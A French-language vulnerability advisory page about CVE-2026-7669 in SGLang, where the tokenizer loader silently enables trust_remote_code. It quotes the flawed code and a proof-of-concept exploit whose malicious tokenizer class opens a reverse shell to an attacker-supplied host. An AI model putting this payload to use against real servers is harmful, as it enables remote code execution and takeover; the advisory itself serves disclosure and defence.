sgl-project SGLang jusqu’à 0.5.9 HuggingFace Transformer hf_transformers_utils.py get_tokenizer trust_remote_code élévation de privilèges
| CVSS Score méta-temporaire | Prix actuel de l'exploit (≈) | Score d'intérêt CTI |
|---|---|---|
| 6.9 | $0-$5k | 1.01 |
Résumé
Une vulnérabilité a été trouvé dans sgl-project SGLang jusqu’à 0.5.9 et classée critique. Ceci affecte la fonction get_tokenizer du fichier python/sglang/srt/utils/hf_transformers_utils.py du composant HuggingFace Transformer Handler. L’exploitation de l’argument trust_remote_code avec la valeur d’entrée False dans le contexte de Boolean entraîne élévation de privilèges.
Cette vulnérabilité a été nommée CVE-2026-7669. L'attaque peut être initialisée à distance. Par ailleurs, un exploit est disponible.
Détails
Une vulnérabilité qui a été classée critique a été trouvée dans sgl-project SGLang jusqu’à 0.5.9 (Artificial Intelligence Software). Affecté par cette vulnérabilité est la fonction get_tokenizer du fichier python/sglang/srt/utils/hf_transformers_utils.py du composant HuggingFace Transformer Handler. A cause de la manipulation du paramètre trust_remote_code de la valeur d'entrée False mène à une vulnérabilité de classe élévation de privilèges.
Le bug a été découvert sur 07/04/2026. La vulnerabilité a été publié par Nicholas Gould, David Rochester (ngould et davidrochester) (non défini). Cette vulnérabilité est connue comme CVE-2026-7669. Ellse est difficile à utiliser. L'attaque peut être lancée à distance. Aucune forme d'authentification est requise pour l'exploitation. Des details techniques et aussi un public exploit sont connus. La raison de cette vulnérabilité est cette partie du code:
# python/sglang/srt/utils/hf_transformers_utils.py:898-909
if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
tokenizer = AutoTokenizer.from_pretrained(
tokenizer_name,
*args,
trust_remote_code=True,
tokenizer_revision=tokenizer_revision,
clean_up_tokenization_spaces=False,
**kwargs,
)Un exploit a été developpé par Nicholas Gould/David Rochester (gouldnicholas/davidrxchester) en Python. L'exploit est disponible au téléchargment sur github.com. Il est déclaré comme preuve de concept. Cette vulnérabilité a été classée comme 0-day non publique pendant au moins 25 jours. Le code utilisé par l'exploit est:
import os, pathlib
from transformers import PreTrainedTokenizerFast
class MaliciousTokenizer(PreTrainedTokenizerFast):
def __init__(self, *args, **kwargs):
pathlib.Path("/tmp/sglang_rce_marker").write_text("pwned")
host = os.environ.get("ATTACKER_HOST")
if host:
import socket
s = socket.socket()
s.connect((host, int(os.environ.get("ATTACKER_PORT", "4444"))))
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2)
os.execve("/bin/sh", ["sh"], os.environ)
super().__init__(*args, **kwargs)Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.
La vulnérabilité est aussi documentée dans la base de données EUVD (EUVD-2026-26802). Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Produit
Taper
Fournisseur
Nom
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vecteur: 🔒VulDB Fiabilité: 🔍
CVSSv3
VulDB Score méta-base: 7.2VulDB Score méta-temporaire: 6.9
VulDB Note de base: 5.6
VulDB Note temporaire: 5.1
VulDB Vecteur: 🔒
VulDB Fiabilité: 🔍
Chercheur Note de base: 8.8
Chercheur Vecteur: 🔒
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vecteur | Complexité | Authentification | Confidentialité | Intégrité | Disponibilité |
|---|---|---|---|---|---|
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
| Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
VulDB Note de base: 🔒
VulDB Note temporaire: 🔒
VulDB Fiabilité: 🔍
Chercheur Note de base: 🔒
Exploitation
Classe: élévation de privilègesCWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔒
ATT&CK: 🔒
Physique: Non
Local: Non
Remote: Oui
Disponibilité: 🔒
Accès: Public
Statut: Preuve de concept
Auteur: Nicholas Gould/David Rochester (gouldnicholas/davidrxchester)
Langage de programmation: 🔒
Télécharger: 🔒
EPSS Score: 🔒
EPSS Percentile: 🔒
Prédiction de prix: 🔍
Estimation actuelle des prix: 🔒
| 0-Day | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
|---|---|---|---|---|
| Aujourd'hui | Déverrouiller | Déverrouiller | Déverrouiller | Déverrouiller |
Renseignements sur les menaces
Intérêt: 🔍Acteurs actifs: 🔍
Groupes APT actifs: 🔍
Contre-mesures
Recommandé: aucune mesure d'atténuation connueStatut: 🔍
Heure 0 jour: 🔒
Délai d'exploitation: 🔍
Chronologie
07/04/2026 Vulnérabilité trouvée07/04/2026 Fournisseur informé
02/05/2026 Avis publié
02/05/2026 Entrée VulDB créée
03/05/2026 Exploit publié
04/05/2026 Dernière mise à jour VulDB
Sources
Chercheur: Nicholas Gould, David Rochester (ngould, davidrochester)Statut: Non défini
CVE: CVE-2026-7669 (🔒)
GCVE (CVE): GCVE-0-2026-7669
GCVE (VulDB): GCVE-100-360817
EUVD: 🔒
scip Labs: https://www.scip.ch/en/?labs.20161013
Entrée
Créé: 02/05/2026 10:05Mise à jour: 04/05/2026 06:26
Changements: 02/05/2026 10:05 (54), 03/05/2026 04:01 (1), 04/05/2026 06:23 (51), 04/05/2026 06:26 (8)
Complet: 🔍
Auteur: ngould
Committer: ngould
Cache ID: 216::103
Soumettre
Accepté
- Soumettre #799263: sgl-project sglang <=0.5.9 Protection Mechanism Failure (par ngould)
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.
Aucun commentaire pour l'instant. Langues: fr + it + en.
Veuillez vous connecter pour commenter.